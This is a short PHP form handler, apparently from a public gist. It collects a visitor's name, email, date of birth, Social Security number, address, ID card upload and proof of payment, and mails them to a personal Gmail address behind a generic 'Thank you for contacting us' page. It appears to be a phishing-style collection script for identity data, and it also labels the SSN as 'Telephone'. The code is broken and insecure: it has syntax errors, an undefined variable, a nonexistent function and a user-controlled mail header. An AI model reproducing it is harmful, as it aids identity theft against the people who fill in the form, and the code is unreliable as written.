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@Jobayer-Ahmed
Created August 17, 2017 14:03
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<?php
if(isset($_POST['email'])) {
// EDIT THE 2 LINES BELOW AS REQUIRED
$email_to = "CCColemanwriting@gma­il.com";
$email_subject = "Website mail";
function died($error) {
// your error code can go here
echo "We are very sorry, but there were error(s) found with the form you submitted. ";
echo "These errors appear below.<br /><br />";
echo $error."<br /><br />";
echo "Please go back and fix these errors.<br /><br />";
die();
}
// validation expected data exists
if(!isset($_POST['fname']) ||
!isset($_POST['email']) ||
!isset($_POST['date_of_birth']) ||
!isset($_POST['ssn']) ||
!isset($_POST['address'])) {
!isset($_FILES['ic'])) {
!isset($_FILES['pop'])) {
died('We are sorry, but there appears to be a problem with the form you submitted.');
}
$name = $_POST['fname']; // required
$email_from = $_POST['email']; // required
$date_of_birth = $_POST['date_of_birth']; // not required
$Social_Security_Number = $_POST['ssn']; // required
$address = $_POST['address']; // required
$Identification_Card = $_FILES['ic']; // required
$Proof_Of_Payment = $_FILES['pop']; // required
$error_message = "";
$email_exp = '/^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}$/';
if(!preg_match($email_exp,$email_from)) {
$error_message .= 'The Email Address you entered does not appear to be valid.<br />';
}
$string_exp = "/^[A-Za-z .'-]+$/";
if(!preg_match($string_exp,$fname)) {
$error_message .= 'The Full Name you entered does not appear to be valid.<br />';
}
/*if(!preg_match($string_exp,$address)) {
$error_message .= 'The address you entered does not appear to be valid.<br />';
}*/
if(strlen($address) < 2) {
$error_message .= 'The address you entered do not appear to be valid.<br />';
}
if(strlen($error_message) > 0) {
died($error_message);
}
$email_message = "Form details below.\n\n";
function clean_string($string) {
$bad = array("content-type","bcc:","to:","cc:","href");
return str_replace($bad,"",$string);
}
$email_message .= "Full Name: ".clean_string($fname)."\n";
$email_message .= "Email: ".clean_string($email_from)."\n";
$email_message .= "Date Of Birth: ".clean_string($date_of_birth)."\n";
$email_message .= "Telephone: ".clean_string($Social_Security_Number)."\n";
$email_message .= "Address: ".clean_string($address)."\n";
$email_message .= "Identification Card: ".fopens($Identification_Card)."\n";
$email_message .= "Identification Card: ".fopen($Proof_Of_Payment)."\n";
// create email headers
$headers = 'From: '.$email_from."\r\n".
'Reply-To: '.$email_from."\r\n" .
'X-Mailer: PHP/' . phpversion();
@mail($email_to, $email_subject, $email_message, $headers);
?>
<!-- include your own success html here -->
Thank you for contacting us. We will be in touch with you very soon.
<?php
}
?>
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